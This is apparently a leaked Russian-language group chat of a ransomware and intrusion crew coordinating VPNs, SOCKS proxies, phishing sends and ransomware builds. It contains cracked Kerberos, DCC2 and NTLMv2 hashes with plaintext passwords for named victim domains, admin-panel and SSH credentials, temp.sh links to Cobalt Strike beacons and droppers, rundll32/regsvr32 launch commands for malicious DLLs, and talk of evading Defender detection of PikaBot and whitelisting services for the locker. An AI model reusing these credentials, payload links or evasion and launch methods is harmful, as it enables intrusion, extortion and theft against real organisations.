долго уснуть не мог, у меня пизда с ногой 3й день болит и ноет

даже сейчас сижу и сильно ноет

Переделал. Эти не множатся

> <@usernamegg:matrix.bestflowers247.online> сиди разбирайся с vpn доступами

Строка та же snauidh718iuaksd

2.7z

уже не раз перезагроужал, ен подключается оба выпна, дабл вляз резервный, синг не работает!

yy написать по синглу?

сек

щас гляну

> <@usernamegg:matrix.bestflowers247.online> где соксы лучше взять для чего для для этого софта ?

а нет еще резов по SMTP1911, IMAP1911, OWA1911? еще нет

OWA1911.txt Count valid: 5 пока по ове только результат есть

```

ага, все четко

да

пролил на закреп

бартец, я уже буду собираться уезжать, отпишу сразу как буду тут

все братец, я ушле, буду тут напишу сразу

по боту если что все проверил, все четко

понял (

ок

привет

VV это

впн дабл лежит, резервного нет

бро мне нужны vpn'ы и синг и дабл

83.242.96.128 - дабл

вот старые айпишки

с резервным дабл у меня не работают соксы

пробовал, не получается

привет

я правильно понимаю что разрешение файлов сейчас не меняет локер?

скоро посмотрю

не ставил, поставлю

да, делают

дабл не работают

с симками все в порядке

сингл рабочик

оба дабла не работают

сингл норм

ну они пытаются подсоединиться к даблу, но не получается

у ХХ резервный был, он у него работает

vpn_log.txt

конфиг к дабл впну похоже не подходит к модему

`tls-groups secp521r1`

все норм

разобрались

бро

andersonandjones.com - нужно создать блог

jlgmarine.com - нужно подсветить

> <@usernamegg:matrix.bestflowers247.online> создавай они у тебя есть

и я так понимаю с

щас прочитаю переварю

с этими идет диалог раз их нет в подсветке и пукбликацие

etude-villa.fr

* с этими идет диалог раз их нет в подсветке и пукбликации

> <@usernamegg:matrix.bestflowers247.online> `Canada https://158.85.67.156:8443 jkey vM476KU_y3Q' ssh 158.85.67.156 jkey vM476KU_y3Q'`

```

тут встретиться лучше

вижу; завис

кратко щас отвечу по пунктам

1. Касаемо того, что в кальянной сижу зависимость есть определенная, сам знаешь, не я начинал курить кальян на человека(!), тут как бы без всяких предъяв, просто вспомни как начиналось, я раньше один кальян в одного даже не курил.

тут можно бесконечно обсуждать, рассуждать и прочее

я когда долистал сообщение на которое ответил в чате, честно хотелось приехать в тот офис, злой был

> <@usernamegg:matrix.bestflowers247.online> так денег не заработаешь братец

у меня цели даже нет

ну нет у меня корыстной цели заработаь тут

это лишь результат как бонус, не знаю, может со временем я поменяю отношение к деньгам

просто интерес

Сейчас в юсе на этой неделе праздник чтоль ?

а то мне тут из 7 писем 4 ответило, что на этой неделе не работают

в теории, практика нужна, разберусь с JJ

привет

и походу на всю неделю

разберемся постепенно, я пока в норм состояние моральное не приду будет трудно )

но некоторые в среду вернуться

да заебался я просто от всего по ощущениям

я в выходные просто сидел смотрел как ребенок играет и то больше удовольствия получил чем за последние месяцы

разберусь постепенно

ага пауза, чтобы потом опять кто-то посидел, нет уж

* ага пауза, чтобы потом опять кто-то подсидел, нет уж

сделаем, разберемся

это я все понимаю, но пока ничего не меняю

по боту пока нет, тут по точкам занят был в пятницу и сегодня

завтра к боту вернусь

да да, все надо успеть )

денег дай, а

доступ так и не дождался...

да

пилю

офнусь. буду в тг, если что

dr2011.zip

rundll32.exe dll.dll,Limit

9_443_x64.bin

9_443_x86.bin

burrito: muaddib6

Занимаюсь

++

28_443_x64.bin

28_443_x86.bin

SAT_kekhash.txt

$krb5tgs$23$*Administrator$saturnbd.local$MSSQLSvc/spsql.saturnbd.local:1433*$def0d476202109e025c...1519ede7b2:Rana!@34

443.zip

rundll32.exe dll.dll,OpenFolder

> <@usernamess:matrix.bestflowers247.online> sent a file.

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*Administrator$saturnbd.local$MSSQLSvc/spsql.saturnbd.local:1433*$def0d476202109e025c...1519ede7b2:Rana!@34

> <@usernamess:matrix.bestflowers247.online> ???

0

```

> <@usernamegg:matrix.bestflowers247.online> ________

++

> <@usernamett:matrix.bestflowers247.online> ++

ok

443_28.zip

```

rundll32.exe dll.dll,OpenFolder

> <@usernamett:matrix.bestflowers247.online> sent a file.

++

rundll32 dll.dll,LtqedmjJrhNg

1.7z

Can the exploit be executed twice :

```

https://forum.exploit.in/topic/217478/

`$DCC2$10240#terri#e56a6bbaf18fec74110ffa886a93363e`

`$DCC2$10240#eriled#cdb2a8ba7b7400e66de320997ff10ca6`

$DCC2$10240#eriled#cdb2a8ba7b7400e66de320997ff10ca6:Earlgrey89

++

сейчас подойдет

да начал

некоторые моменты там не отрабатывают, будто домен лег

```

> <@usernamegg:matrix.bestflowers247.online> ```

отписал ему

JACOBS_FARMS_adm_kekhash.txt

ок

$krb5tgs$23$*janitor$corp.jacobsfarm.com$MSSQLSvc/sqlstash2.corp.jacobsfarm.com:1433@corp.jacobsfarm.com*$298fc7b29..6140a:Fin@L49

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*janitor$corp.jacobsfarm.com$MSSQLSvc/sqlstash2.corp.jacobsfarm.com:1433@corp.jacobsfarm.com*$298fc7b29..6140a:Fin@L49

+

он выдал ?

ну ок

до завтра тогда

```

29 cob

`http://temp.sh/nPPBa/9.txt`

```

```

> <@usernamett:matrix.bestflowers247.online> ```

`DW04660::FLYT:1122334455667788:e9b0b2a88422a35630f27bc754711e0b:0101000000000000c8a9f663e01bda0153e34b041bfdee25000000000800300030000000000000000000000000200000bf7c67a6974be9039da5ef9a5e9bcce078a68b3bb1cde85a23b0bb63eadd8f6d0a001000000000000000000000000000000000000900180046004c00590054005c0064007700300034003600360030000000000000000000`

DW04660::FLYT:1122334455667788:e9b0b2a88422a35630f27bc754711e0b:0101000000000000c8a9f663e01bda0153e34b041bfdee25000000000800300030000000000000000000000000200000bf7c67a6974be9039da5ef9a5e9bcce078a68b3bb1cde85a23b0bb63eadd8f6d0a001000000000000000000000000000000000000900180046004c00590054005c0064007700300034003600360030000000000000000000:Ohio520252

поднял ттуннель

можно подключаться к впс и сканить пробовать

там надо еще доп работы делать

разные лицухи и разные туннели

это я еще проверю

там версии отличаются и настройки разные

похоже потребуется найти лицензию всем ее накатывать предварительно и уже заливать

повторить надо будет еще на подобной версии и на других обкатать

давай

пока тфу тфу

Forum.txt

давай

ок

щас

спокойно)

я не умею делать за минуту и чтоб чисто и чтоб без симантека и без дефа и вообще

http://temp.sh/oVZMd/payload_x86_29.ex

давай))

http://temp.sh/NqLVG/payload_x86_29cob.ex

а что пишет?

ок

щас длл дам

http://temp.sh/huXCN/artifact_x86_cob29.dll

import.xls

wally

http://temp.sh/hjPte/beacon_x86_cob29.dll

щас

http://temp.sh/LmGwm/artifact_x86_dns16.dll

щас

ты ж дллки дал

ок

http://temp.sh/mKiep/beacon_x86.ex

http://temp.sh/hfjDJ/artifact_x86_dns16.ex

```

таймаут небольшой там

сек 40

не, ну варе секунд 40 и стартует

может там пень 2 ))

943.xls

> <@usernamett:matrix.bestflowers247.online> sent a file.

ну что?

так симантек процесс гасит?

давай посмотрю

Forum.txt

DEMSF8080_thread_cr1.ex_

DEMSF443_thread_cr1.ex_

image.png

```

выполняет эту команду, работает 50/50 на системах 2019 (вин 10) и выше

> <@usernamegg:matrix.bestflowers247.online> ```

ок

ConsoleApplication1.exe

* ```

```

`51.222.194.213:37147 JACOBS_FARMS DC`

dobroe

доброе

Dobroe!

доброе

доброе

да

> <@usernamegg:matrix.bestflowers247.online> сегодня 3и сетки на простанову ?

Доброе утро! Img c exe тогда прошлем?

file: SMTP1911.txt

file: smtp_nov_3.txt

ок

да

выглядит как что то влияющее на SSL

https://benigletechnologies.com/autemalias/f.exe соксы

да, но по другому не подключалось

модем не воспринимает этот параметр

+

жду файлы

привет

кстати, если вы вчера отправляли монеро, они не дошли

исо или img можно подписать, но вот 2к файлов будет оч долго подписываться

наверное без подписи прошлю

да, 1 уже 160 есть соксов

вин 2022 датацентр - не сработало

* да, уже 160 есть соксов

+

+

скачиваю

нужно мелкору дать, чтобы он проверил, точно ли его бота запустился

сброшу ему один файлик

деф кстати не спалил

но там 2 предупреждения

а онифига

палит деф кстати работу дллку видимо уже

в динамике

Behavior:Win32/PikaBot.ZX

behavior: process: C:\Windows\SysWOW64\SearchProtocolHost.exe

ладно

`51.222.194.213:36787 WHITLAM`

прошлем так как есть

ща покушаю, сделаю дело (надо встретиться с подрядчиком) и поеду в первый офис?

или ты во втором все таки будешь

для, вот чисто, и тут пикабота уже палит в динамике... то одно, то другое

* бля, вот чисто, и тут пикабота уже палит в динамике... то одно, то другое

ща проверю из второго комплекта еще

из второго компклекта там сразу имг спалило при скачивании

ладно, запускаться?

ну мы все равно без дефа же хотели слать

на какой из вопросов это ответ?)

запустился

атач канечно 1мб весит, будет не быстро

но чисто по компаниям запустил, посмотрим

да

ну у нас дллки пока нет чистой

http://49.13.147.206/wcps/{random}

линки вот для саппа

> <@usernamegg:matrix.bestflowers247.online> sent an image.

128.90.145.39 вроде только воркгруппа стукнула

GG11MO в эту же группу должно стучать?

из франции сетка есть

`51.222.194.213:35825 vogmtl`

++

конечно

> <@usernamett:matrix.bestflowers247.online> `51.222.194.213:35825 vogmtl`

25k ушло только

+

чет ничего толком не приходит

50к прошлю и стопну

Присылай новую сборку. Сделаю с инфецированием.

ну да, дллку палит

и возможно не в крипте дело

а как у квака было

в динамике палило, и он чистил

еще лочим

он тут

да можешь давать я ввсе удалил

++

стопну, 40к ушло

cpanel nov 3.txt COUNT_NEW = 1437

owa nov 3.txt Count valid: 20

привет. раскрутил что-то крупное. https://www.spacecom.co.in/ на этом софте. куча провайдеров админок и тп

софт для провайдеров вроде

привет

чат сделаешь?

доступ к админке получил. шел сейчас залью

да. разрабы индусы но пользуются не только индусы

думаю да. они компании разные подключают

к интернету

могу скинуть админку, посмотришь что внутри

http://crm-gpx.l2s.biz/

http://login.homenet.net/admin/login.php:ashoky:ayadav1988

первая интересней. тикеты система по всей конторе

вторая их же но для чего-то другого

Привет

Да, окей

Я только приехал ...

> <@usernamegg:matrix.bestflowers247.online> sent an image.

как именно он будет запускать?

лапа мне скинул палит в динамке походу

щас почистить походу надо чутка

пару минут

скину бид под regsvr32

:D

щас делаю чистку, чтобы не палило именно динамику

меняю процесс

и ресурсы

и билд чутка

скоро скину

DllRegisterServer, DllUnregisterServer, DllInstall

вот такие будут экспорт функции

то есть можно будет из под regsvr32 по разному запускать

с разными параметрами и точками входа

ну на длку

окей, скоро скину разные команды

а вы когда в последний раз криптовали сетку?

в субботу утром

были проблемы какие то с локером?

ты что то перестал печатать?)

+

yy: у тебя список исключений есть, что не стопать в сервайсах

?

) ну да были такие домыслы что ее никто не покупает. так они для вида и устрашения все так делают типа продажа. чтобы цели торопились. думаю так

hyper-v исключить нужно, чтобы он не стопал этот сервис

```

эти сервисы в исключениях

нужно название сервиса маленькими буквами отсюда

image.png

выделил

надо сетку с hyper-v

и сможем дать

нп

```

это именно сервисы, не процессы да?

у них разные списки просто

image.png

да, оттуда скопировал, это с RDP своей я что нашел

ага ок, ща добавлю

как ты выше показал скрином

залил, в следующих билдах будет вайтлист на них

если есть процессы от них лучше тоже закинуть в вайтлист

кильнет процесс несмотря на рабочий сервис

ок, я как увижу сетку с hyper-v скину списком

тут возможно не все

👌

почистил

сейчас делаю билд уже

179.60.149.243 - сокс панель, удалить

подожди

щас тут хуйня еще 1

статика подлетела от дефа на самого бота

пару минут

сниму ее щас

да, но с локером что то

сложно обьяснить

там все нормально, ехать не за чем, сервис какой то кильнул

система ломалась и не понятно почему. запускали все криптованными

вся проблема в том что он как раз отработал

дада, поеду, просто к тому что не нужно из за этого ехать

я уже собран

обязательно)

сервис кильнулся какой то виртуалки

ну видимо на дц, только мне сказали, что на дц не запускали 🥸

так это происходит после запуска лока шар

и конечно в шарах есть ДЦ. но на дц не запускали

и по сети рассыл не работал

типа вне домена или авторизации нет

от лока файлов ничего произойти не может

так что однозначно сервис

на 3 разных сетках?)

а сервисы списки есть в исключениях?

ну я спросил у первого офиса, у них такого нет

* ну я спросил у второго офиса, у них такого нет

> <@usernamess:matrix.bestflowers247.online> а сервисы списки есть в исключениях?

f[f[f[f[

ахахахахах

```

а че смеешься, я щас приеду тебе по полочкам разложу 😎

> <@usernameyy:matrix.bestflowers247.online> ну я спросил у второго офиса, у них такого нет

🤣

> <@usernameyy:matrix.bestflowers247.online> а че смеешься, я щас приеду тебе по полочкам разложу 😎

от лока шар ничего не будет тк файл залочен если он используется, а все важные сервисы вообще в папке винды находятся, поэтому шары вообще можно даже не учитывать

если конечно вы не запустили специально по папке винды))

неа) ее в шарах то нет

поехал я, скоро буду

`https://www.softperfect.com/order/?product=sns`

Привет

я с сингла вышел

только у элемента доступ сделал в инет

дабл нужен)

на этой тачке дохуя всего стоит

все

делаю билды

скину щас

dropper_GG11TU_f0adda360d2b4ccda11468e026526576_eRNZ2Jm3t.zip

мелкор чистит?

PASS: 74284d618ddca8db643ec32ef8678e8e

Вычистил частично, чтобы не было детектов в динамике

сейчас буду чистить полностью, чтобы все детекты ушли с бота

+

отработанные эти текстовики, верно ?

конторы которые более менее - у них пасы не подходят

+++

минут 20 и сделаю

понял

++

image.png

на год она

Так не будет работать инфецирование

> <@usernamegg:matrix.bestflowers247.online> возможно

и тут та же история не хочется в холостую работать

image.png

Нужна точка входа с 5 символами начинающаяся не на а не на цифру

9-10 ноября даты

я понимаю что для старта по работе с цитрикс и впн - на тест пойдет

в дальнейшем просто не хотелось бы на отработке сидеть такой

давай. я попробую пробросить конечно но не факт

я в 16 лет сканил сеть так, и по вебу заходил на модем выдергивал пароли

даже не в 16, было 15

то что делаем щас - будет от криптора зависеть достаточно + нам фишки нужны новые

условно как снять кербы или дернуть пассы имея на борту сентинел

да, я знаю

но по другому regsvr32 не будет работать

оно работает только с DllInstall, DllRegisterServer, DllUnregisterServer

++++

Это другой софт? Не твой дропер?

А сбилдите с короткой точкой входа?

```

?

рассматриваем какие сервисы могли повлиять на видимость домена

в смысле на видимость домена

```

Stras

SERVICE_NAME: vmms

вот еще

спасибо, работает

```

```

1.7z

Это крипт с точкой входа DllInstall

Сделал с инфецированием с Dllinstall

строка: snauidh718iuaksd

2.7z

Да проверил ваш процесс поднимается.

серчпротокол

+

https://learn.microsoft.com/en-us/windows/configuration/ue-v/uev-for-windows

работает

скоро проверю

Netscan.zip

image.png

чисто

а хотя нет

Behavior:Win32/PikaBot.ZX

behavior: process: C:\Windows\SysWOW64\SearchIndexer.exe

она наверное название процесса поменял, но все равно палит

* он наверное название процесса поменял, но все равно палит

+

Это рантайм

Авчек чистый

SearchIndexer.exe, я про этот процесс писал. Эт оваш рабочий процесс

> <@usernamegg:matrix.bestflowers247.online> sent a file.

дедект такой же

+++

regsvr32 /s /i file.dll

такой запуск тогда

щас проверю

ну мелкор в смысле написал это ?

ага, детект идет в динамике

кароче я тогда полностью вычищу и отпишу как будет готово

ок

я там много поменял, надо сильно чистить для дефа походу

и все АВ снять

щас буду дебажить

отпишу сращу

```

da

basta

9_2

dr1.dll

имя DllRegisterServer зарезервировано, сделал DllUnload

меняйте рантайм дропера

https://www.securitylab.ru/news/543867.php

dr3.dll

dr2.dll

еще 2штучки

да хз, по инерции

остановиться не смог(

cloud.hnyunzhiyi.com

aga

привет

немного может умных мыслей. он кобу дропает на диск, как вариант запускать из памяти*

приемники квака )

да да, пишу щас

насчет масса пока не решил

думаю с точек начнем, там видно будет

```

а ласт шоповские сервера не отказался поддерживать или их тоже отказался?

> <@usernamegg:matrix.bestflowers247.online> как жизнь холостая ?

> <@usernamegg:matrix.bestflowers247.online> ну мы сейчас с тобой одинокие волки )))

да вчера выйти не мог инет нихуя не работает с скингла не стал выходить надеялся что пофиксят